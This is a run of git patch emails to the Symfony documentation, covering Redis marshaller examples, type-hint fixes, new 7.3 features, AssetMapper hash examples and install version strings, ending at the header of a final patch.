Subject: [PATCH 6577/7107] Fix PHP block in TypeInfo documentation

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 734ac4140ba..e7062c5f249 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -141,7 +141,7 @@ Checking a **simple type**::
     $type->isIdentifiedBy(DummyParent::class);     // true
     $type->isIdentifiedBy(DummyInterface::class);  // true
 
-Using callables for **complex checks**:
+Using callables for **complex checks**::
 
     class Foo
     {

From bdb07f88195a9081f9ce2f6f16afa426c4314ea8 Mon Sep 17 00:00:00 2001
From: lacatoire <louis-arnaud.catoire@external.drivalia.com>
Date: Mon, 18 Nov 2024 10:16:59 +0100
Subject: [PATCH 6578/7107] Add few doc on marshaller in redis adapter

---
 components/cache/adapters/redis_adapter.rst | 75 ++++++++++++++++++++-
 1 file changed, 74 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 827e2dfb00d..a24e24f928d 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -38,7 +38,11 @@ as the second and third parameters::
         // the default lifetime (in seconds) for cache items that do not define their
         // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
         // until RedisAdapter::clear() is invoked or the server(s) are purged)
-        $defaultLifetime = 0
+        $defaultLifetime = 0,
+        // $marshaller (optional) MarshallerInterface instance to control serialization
+        // and deserialization of cache items. By default, it uses native PHP serialization.
+        // Useful to compress data, use custom serialization, or optimize the size and performance of cached items.
+        ?MarshallerInterface $marshaller = null
     );
 
 .. versionadded:: 6.3
@@ -266,6 +270,75 @@ performance when using tag-based invalidation::
 
 Read more about this topic in the official `Redis LRU Cache Documentation`_.
 
+Working with Marshaller
+-----------------------
+
+TagAwareMarshaller for Tag-Based Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Optimizes caching for tag-based retrieval, allowing efficient management of related items::
+
+    $marshaller = new TagAwareMarshaller();
+
+    $cache = new RedisAdapter($redis, 'tagged_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('tagged_key');
+    $item->set(['value' => 'some_data', 'tags' => ['tag1', 'tag2']]);
+    $cache->save($item);
+
+SodiumMarshaller for Encrypted Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Encrypts cached data with Sodium for added security::
+
+    $encryptionKeys = [sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($encryptionKeys);
+
+    $cache = new RedisAdapter($redis, 'secure_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('secure_key');
+    $item->set('confidential_data');
+    $cache->save($item);
+
+DefaultMarshaller with igbinary Serialization
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Uses igbinary for faster, more efficient serialization when available::
+
+    $marshaller = new DefaultMarshaller(true);
+
+    $cache = new RedisAdapter($redis, 'optimized_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('optimized_key');
+    $item->set(['data' => 'optimized_data']);
+    $cache->save($item);
+
+DefaultMarshaller with Exception on Failure
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Throws an exception if serialization fails, aiding in error handling::
+
+    $marshaller = new DefaultMarshaller(false, true);
+
+    $cache = new RedisAdapter($redis, 'error_namespace', 3600, $marshaller);
+
+    try {
+        $item = $cache->getItem('error_key');
+        $item->set('data');
+        $cache->save($item);
+    } catch (\ValueError $e) {
+        echo 'Serialization failed: ' . $e->getMessage();
+    }
+
+SodiumMarshaller with Key Rotation
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Supports key rotation, allowing secure decryption with both old and new keys::
+
+    $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($keys);
+
+    $cache = new RedisAdapter($redis, 'rotated_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('rotated_key');
+    $item->set('data_to_encrypt');
+    $cache->save($item);
+
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis

From 810f06d5de6a2460931b9003c1725445c2ddeba6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Dec 2024 16:34:38 +0100
Subject: [PATCH 6579/7107] Minor tweaks

---
 components/cache/adapters/redis_adapter.rst | 23 ++++++++++++++-------
 1 file changed, 15 insertions(+), 8 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index a24e24f928d..503fc42454d 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -39,9 +39,11 @@ as the second and third parameters::
         // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
         // until RedisAdapter::clear() is invoked or the server(s) are purged)
         $defaultLifetime = 0,
-        // $marshaller (optional) MarshallerInterface instance to control serialization
-        // and deserialization of cache items. By default, it uses native PHP serialization.
-        // Useful to compress data, use custom serialization, or optimize the size and performance of cached items.
+
+        // $marshaller (optional) An instance of MarshallerInterface to control the serialization
+        // and deserialization of cache items. By default, native PHP serialization is used.
+        // This can be useful for compressing data, applying custom serialization logic, or
+        // optimizing the size and performance of cached items
         ?MarshallerInterface $marshaller = null
     );
 
@@ -275,6 +277,7 @@ Working with Marshaller
 
 TagAwareMarshaller for Tag-Based Caching
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 Optimizes caching for tag-based retrieval, allowing efficient management of related items::
 
     $marshaller = new TagAwareMarshaller();
@@ -287,7 +290,8 @@ Optimizes caching for tag-based retrieval, allowing efficient management of rela
 
 SodiumMarshaller for Encrypted Caching
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Encrypts cached data with Sodium for added security::
+
+Encrypts cached data using Sodium for enhanced security::
 
     $encryptionKeys = [sodium_crypto_box_keypair()];
     $marshaller = new SodiumMarshaller($encryptionKeys);
@@ -300,7 +304,8 @@ Encrypts cached data with Sodium for added security::
 
 DefaultMarshaller with igbinary Serialization
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Uses igbinary for faster, more efficient serialization when available::
+
+Uses ``igbinary` for faster and more efficient serialization when available::
 
     $marshaller = new DefaultMarshaller(true);
 
@@ -312,7 +317,8 @@ Uses igbinary for faster, more efficient serialization when available::
 
 DefaultMarshaller with Exception on Failure
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Throws an exception if serialization fails, aiding in error handling::
+
+Throws an exception if serialization fails, facilitating error handling::
 
     $marshaller = new DefaultMarshaller(false, true);
 
@@ -323,12 +329,13 @@ Throws an exception if serialization fails, aiding in error handling::
         $item->set('data');
         $cache->save($item);
     } catch (\ValueError $e) {
-        echo 'Serialization failed: ' . $e->getMessage();
+        echo 'Serialization failed: '.$e->getMessage();
     }
 
 SodiumMarshaller with Key Rotation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Supports key rotation, allowing secure decryption with both old and new keys::
+
+Supports key rotation, ensuring secure decryption with both old and new keys::
 
     $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()];
     $marshaller = new SodiumMarshaller($keys);

From 5a43fd2da07b1bdd2b8e048d619da1ccdeb94a6f Mon Sep 17 00:00:00 2001
From: David Harding <daveharding@me.com>
Date: Fri, 13 Dec 2024 12:39:15 +0000
Subject: [PATCH 6580/7107] Update serializer.rst

The $maxDepthHandler function might return NULL, but the return type is set to : string, which causes a TypeError to be thrown.

This change allows the $maxDepthHandler function to return null, by changing the return type to : ?string for this example.
---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 4a4a934ca01..47ea5b66c60 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1789,7 +1789,7 @@ identifier of the next nested object, instead of omitting the property::
     $child = new Person('Joe', $mother);
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string {
+    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): ?string {
         // return only the name of the next person in the tree
         return $innerObject instanceof Person ? $innerObject->getName() : null;
     };

From b4d7d4f608ea809e4a35d69cfab1f4f5893f1e0d Mon Sep 17 00:00:00 2001
From: sarah-eit <s.fleret@itefficience.com>
Date: Wed, 11 Dec 2024 11:25:17 +0100
Subject: [PATCH 6581/7107] =?UTF-8?q?[Twig]=20[Twig=20Reference]=20fix=20p?=
 =?UTF-8?q?ath=20parameter=20and=20add=20example=20in=20asset=20v=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/twig_reference.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index a34cfe58f0c..21f251dc6de 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -130,8 +130,10 @@ asset_version
 
 .. code-block:: twig
 
-    {{ asset_version(packageName = null) }}
+    {{ asset_version(path, packageName = null) }}
 
+``path``
+    **type**: ``string``
 ``packageName`` *(optional)*
     **type**: ``string`` | ``null`` **default**: ``null``
 

From b0f09c62f9bfbd876ea954b1a302491fb05473e7 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 17 Dec 2024 09:34:01 +0100
Subject: [PATCH 6582/7107] use ? before nullable single type declaration

---
 serializer/custom_name_converter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst
index d0ed45bdc0a..49dafb02cc4 100644
--- a/serializer/custom_name_converter.rst
+++ b/serializer/custom_name_converter.rst
@@ -30,7 +30,7 @@ A custom name converter can handle such cases::
 
     class OrgPrefixNameConverter implements NameConverterInterface
     {
-        public function normalize(string $propertyName, string $class = null, ?string $format = null, array $context = []): string
+        public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
         {
             // during normalization, add the prefix
             return 'org_'.$propertyName;

From 2fdd0dbfd61d9bd93d679c8febedcddca40d5e3a Mon Sep 17 00:00:00 2001
From: Felix Eymonot <felix.eymonot@gmail.com>
Date: Tue, 17 Dec 2024 12:19:23 +0100
Subject: [PATCH 6583/7107] docs(controller): add docs for key option in
 MapQueryString

---
 controller.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/controller.rst b/controller.rst
index c11615d93aa..5da85057bbe 100644
--- a/controller.rst
+++ b/controller.rst
@@ -443,6 +443,27 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
+If you want to map your object to a nested array in your query with a specific key,
+you can use the ``key`` option in your :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
+attribute::
+
+    use App\Model\SearchDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryString;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryString(key: 'search')] SearchDto $searchDto
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The ``key`` option of ``#[MapQueryString]`` was introduced in Symfony 7.3.
+
 If you need a valid DTO even when the request query string is empty, set a
 default value for your controller arguments::
 

From 8aeceab63ce821c69bb182377ad1c3c0b54bf17e Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Tue, 17 Dec 2024 13:06:15 +0100
Subject: [PATCH 6584/7107] Fix the configuration for custom password strength
 estimator

---
 reference/constraints/PasswordStrength.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 671b5f495ef..60125a763a1 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -178,7 +178,7 @@ service to use your own estimator:
                 class: App\Validator\CustomPasswordStrengthEstimator
 
             Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
-                arguments: [!service_closure '@custom_password_strength_estimator']
+                arguments: [!closure '@custom_password_strength_estimator']
 
     .. code-block:: xml
 
@@ -192,7 +192,7 @@ service to use your own estimator:
                 <service id="custom_password_strength_estimator" class="App\Validator\CustomPasswordStrengthEstimator"/>
 
                 <service id="Symfony\Component\Validator\Constraints\PasswordStrengthValidator">
-                    <argument type="service_closure" id="custom_password_strength_estimator"/>
+                    <argument type="closure" id="custom_password_strength_estimator"/>
                 </service>
             </services>
         </container>
@@ -210,5 +210,5 @@ service to use your own estimator:
             $services->set('custom_password_strength_estimator', CustomPasswordStrengthEstimator::class);
 
             $services->set(PasswordStrengthValidator::class)
-                ->args([service_closure('custom_password_strength_estimator')]);
+                ->args([closure('custom_password_strength_estimator')]);
         };

From c196b447547b28048a9f1d5849f6964e982933ad Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@northern.co>
Date: Thu, 9 Mar 2023 09:10:30 -0500
Subject: [PATCH 6585/7107] Add tip for using new isGrantedForUser() function

---
 security.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/security.rst b/security.rst
index c8dfc8d6233..5da16121b30 100644
--- a/security.rst
+++ b/security.rst
@@ -2585,6 +2585,18 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
           // ...
       }
 
+.. tip::
+
+    Using ``isGranted()`` checks authorization against the currently logged in user. If you need to check
+    against a user that is not the one logged in or if checking authorization when the user session is not
+    available in a CLI context (example: message queue, cronjob) ``isGrantedForUser()`` can be used to set the
+    target user explicitly.
+
+    .. versionadded:: 7.3
+
+        The :method:`Symfony\\Bundle\\SecurityBundle\\Security::isGrantedForUser`
+        method was introduced in Symfony 7.3.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 Symfony will automatically pass the ``security.helper`` to your service
 thanks to autowiring and the ``Security`` type-hint.

From b487d45483249fdd41f29a3f8aafe42354ba4c6e Mon Sep 17 00:00:00 2001
From: Rick Ogden <rickogden@users.noreply.github.com>
Date: Tue, 17 Dec 2024 11:08:42 +0000
Subject: [PATCH 6586/7107] Update http_client.rst Test Examples

Reordered assertSame arguments to use the conventional and consistent order to `$this->assertSame($expected, $actual);`.
---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index e7128f1bc66..32ef552c64f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2233,7 +2233,7 @@ test it in a real application::
             );
             $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
 
-            $this->assertSame($responseData, $expectedResponseData);
+            $this->assertSame($expectedResponseData, $responseData);
         }
     }
 
@@ -2266,7 +2266,7 @@ test. Then, save that information as a ``.har`` file somewhere in your applicati
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            $this->assertSame($responseData, 'the expected response');
+            $this->assertSame('the expected response', $responseData);
         }
     }
 

From b72ecdc5f36290b9c1a6dbfe7f92aca51b0745f8 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 18 Dec 2024 17:09:48 +0100
Subject: [PATCH 6587/7107] doc(runtime): add frankenphp

---
 components/runtime.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index d357bdb8aea..4eb75de2a75 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -3,7 +3,7 @@ The Runtime Component
 
     The Runtime Component decouples the bootstrapping logic from any global state
     to make sure the application can run with runtimes like `PHP-PM`_, `ReactPHP`_,
-    `Swoole`_, etc. without any changes.
+    `Swoole`_, `FrankenPHP`_ etc. without any changes.
 
 Installation
 ------------
@@ -487,6 +487,7 @@ The end user will now be able to create front controller like::
 
 .. _PHP-PM: https://github.com/php-pm/php-pm
 .. _Swoole: https://openswoole.com/
+.. _FrankenPHP: https://frankenphp.dev/
 .. _ReactPHP: https://reactphp.org/
 .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/
 .. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template

From f10c7e9f81e4db9cba84d03027ca7eccf0a9e31f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?L=C3=A9o=20PLANUS?=
 <48881747+leo29plns@users.noreply.github.com>
Date: Thu, 19 Dec 2024 08:06:37 +0100
Subject: [PATCH 6588/7107] Update 7.2.x-dev to 7.2.x

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 1d7081e93b7..853b53f2400 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.2.x-dev" --webapp
+    $ symfony new my_project_directory --version="7.2.x" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.2.x-dev"
+    $ symfony new my_project_directory --version="7.2.x"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.x" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.x" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 775bab6722a5e7c1f2a58657b5c7ea18f0341259 Mon Sep 17 00:00:00 2001
From: Corentin <47939924+corentingd@users.noreply.github.com>
Date: Thu, 19 Dec 2024 15:31:38 +0100
Subject: [PATCH 6589/7107] Update File.rst

Replace mimeTypes parameters by "extension" and "extensions" in extensionMessage option
---
 reference/constraints/File.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 3930d898c7e..fb9a61b4a29 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -314,7 +314,12 @@ Parameter                       Description
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.
 
-.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
+==================== ==============================================================
+Parameter            Description
+==================== ==============================================================
+``{{ extension }}``  The extension of the given file
+``{{ extensions }}`` The list of allowed file extensions
+==================== ==============================================================
 
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~

From ccdeed257e1e882374a185b18437933694b94bb7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Dec 2024 17:47:14 +0100
Subject: [PATCH 6590/7107] Minor tweak

---
 controller.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/controller.rst b/controller.rst
index 5da85057bbe..026e76ed0a6 100644
--- a/controller.rst
+++ b/controller.rst
@@ -443,9 +443,8 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
-If you want to map your object to a nested array in your query with a specific key,
-you can use the ``key`` option in your :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
-attribute::
+If you want to map your object to a nested array in your query using a specific key,
+set the ``key`` option in the ``#[MapQueryString]`` attribute::
 
     use App\Model\SearchDto;
     use Symfony\Component\HttpFoundation\Response;

From f7b5169f405d491eb9fe6939ba8034c374a63598 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 22 Dec 2024 12:09:11 +0100
Subject: [PATCH 6591/7107] Constraints cache with private properties

---
 validation/custom_constraint.rst | 40 ++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9d3fb920d6d..3fd1afbeddc 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -66,6 +66,46 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
         }
     }
 
+Constraint with private properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Constraints are cached for efficiency, but private properties are not supported
+by default.
+
+So if you're using private properties in your constraint, you must override default
+``__sleep`` method ::
+
+    // src/Validator/ContainsAlphanumeric.php
+    namespace App\Validator;
+
+    use Symfony\Component\Validator\Attribute\HasNamedArguments;
+    use Symfony\Component\Validator\Constraint;
+
+    #[\Attribute]
+    class ContainsAlphanumeric extends Constraint
+    {
+        public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+
+        #[HasNamedArguments]
+        public function __construct(
+            private string $mode,
+            ?array $groups = null,
+            mixed $payload = null,
+        ) {
+            parent::__construct([], $groups, $payload);
+        }
+
+        public function __sleep(): array
+        {
+            return array_merge(
+                parent::__sleep(),
+                [
+                    'mode'
+                ]
+            );
+        }
+    }
+
 Creating the Validator itself
 -----------------------------
 

From d99915066523753285953b349f1a9782cc353fd1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sun, 22 Dec 2024 14:40:09 +0100
Subject: [PATCH 6592/7107] [AssetMapper] Update hash examples

Since 7.2, hash are shorter. This PR updates the various hashes in code examples, to illustrate more precisely what a user will see on its local install / code.
---
 frontend/asset_mapper.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index decc7827e0d..95b656f043d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -12,7 +12,7 @@ The component has two main features:
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
   are made available publicly and **versioned**. You can reference the file
   ``assets/images/product.jpg`` in a Twig template with ``{{ asset('images/product.jpg') }}``.
-  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpg``.
+  The final URL will include a version hash, like ``/assets/images/product-3c16d92m.jpg``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
@@ -70,7 +70,7 @@ The path - ``images/duck.png`` - is relative to your mapped directory (``assets/
 This is known as the **logical path** to your asset.
 
 If you look at the HTML in your page, the URL will be something
-like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change
+like: ``/assets/images/duck-3c16d92m.png``. If you change
 the file, the version part of the URL will also change automatically.
 
 .. _asset-mapper-compile-assets:
@@ -78,7 +78,7 @@ the file, the version part of the URL will also change automatically.
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
+In the ``dev`` environment, the URL ``/assets/images/duck-3c16d92m.png``
 is handled and returned by your Symfony app.
 
 For the ``prod`` environment, before deploy, you should run:
@@ -283,9 +283,9 @@ outputs an `importmap`_:
 
     <script type="importmap">{
         "imports": {
-            "app": "/assets/app-4e986c1a2318dd050b1d47db8d856278.js",
-            "/assets/duck.js": "/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js",
-            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f0935445d9c6022100863214b519a1f2.js"
+            "app": "/assets/app-4e986c1a.js",
+            "/assets/duck.js": "/assets/duck-1b7a64b3.js",
+            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f093544d.js"
         }
     }</script>
 
@@ -342,8 +342,8 @@ The ``importmap()`` function also outputs a set of "preloads":
 
 .. code-block:: html
 
-    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
-    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+    <link rel="modulepreload" href="/assets/app-4e986c1a.js">
+    <link rel="modulepreload" href="/assets/duck-1b7a64b3.js">
 
 This is a performance optimization and you can learn more about below
 in :ref:`Performance: Add Preloading <performance-preloading>`.
@@ -494,9 +494,9 @@ for ``duck.png``:
 
 .. code-block:: css
 
-    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
+    /* public/assets/styles/app-3c16d92m.css */
     .quack {
-        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
+        background-image: url('../images/duck-3c16d92m.png');
     }
 
 .. _asset-mapper-tailwind:
@@ -573,7 +573,7 @@ Sometimes a JavaScript file you're importing (e.g. ``import './duck.js'``),
 or a CSS/image file you're referencing won't be found, and you'll see a 404
 error in your browser's console. You'll also notice that the 404 URL is missing
 the version hash in the filename (e.g. a 404 to ``/assets/duck.js`` instead of
-a path like ``/assets/duck.1b7a64b3b3d31219c262cf72521a5267.js``).
+a path like ``/assets/duck-1b7a64b3.js``).
 
 This is usually because the path is wrong. If you're referencing the file
 directly in a Twig template:
@@ -848,7 +848,7 @@ be versioned! It will output something like:
 
 .. code-block:: html+twig
 
-    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c55f8394e696554f8aeb81a8e.css">
+    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c.css">
 
 Overriding 3rd-Party Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 7eff479d4b62fb1ff5973ef867b3cc1c6b302470 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 25 Dec 2024 10:50:23 +0100
Subject: [PATCH 6593/7107] remove installation repetition in weblink

---
 web_link.rst | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index e5ad7e1159c..44e668c2112 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -55,13 +55,7 @@ make one request for the HTML page and another request for the linked CSS file.
 However, thanks to HTTP/2 your application can start sending the CSS file
 contents even before browsers request them.
 
-To do that, first install the WebLink component:
-
-.. code-block:: terminal
-
-    $ composer require symfony/web-link
-
-Now, update the template to use the ``preload()`` Twig function provided by
+You can update the template to use the ``preload()`` Twig function provided by
 WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply
 correct prioritization and the content security policy:
 

From 47e65dfb47d70815d3bbe8e7c809c421b2ad4ec9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Dec 2024 11:17:56 +0100
Subject: [PATCH 6594/7107] Update the Symfony version to install in 7.3 branch

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 853b53f2400..b269da2c476 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.2.x" --webapp
+    $ symfony new my_project_directory --version="7.3.x-dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.2.x"
+    $ symfony new my_project_directory --version="7.3.x-dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.2.x" my_project_directory
+    $ composer create-project symfony/skeleton:"7.3.x-dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.2.x" my_project_directory
+    $ composer create-project symfony/skeleton:"7.3.x-dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 301b89e6635829b80b502851c676686399521194 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Dec 2024 11:24:46 +0100
Subject: [PATCH 6595/7107] Minor tweak

---
 reference/constraints/File.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index fb9a61b4a29..4f8f5beddfc 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -314,12 +314,12 @@ Parameter                       Description
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.
 
-==================== ==============================================================
-Parameter            Description
-==================== ==============================================================
-``{{ extension }}``  The extension of the given file
-``{{ extensions }}`` The list of allowed file extensions
-==================== ==============================================================
+====================  ==============================================================
+Parameter             Description
+====================  ==============================================================
+``{{ extension }}``   The extension of the given file
+``{{ extensions }}``  The list of allowed file extensions
+====================  ==============================================================
 
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~

From 476bb59ed934f4ae5d83e99ad1513cdfd156bc4c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Dec 2024 11:36:06 +0100
Subject: [PATCH 6596/7107] [WebLink] Minor reword

---
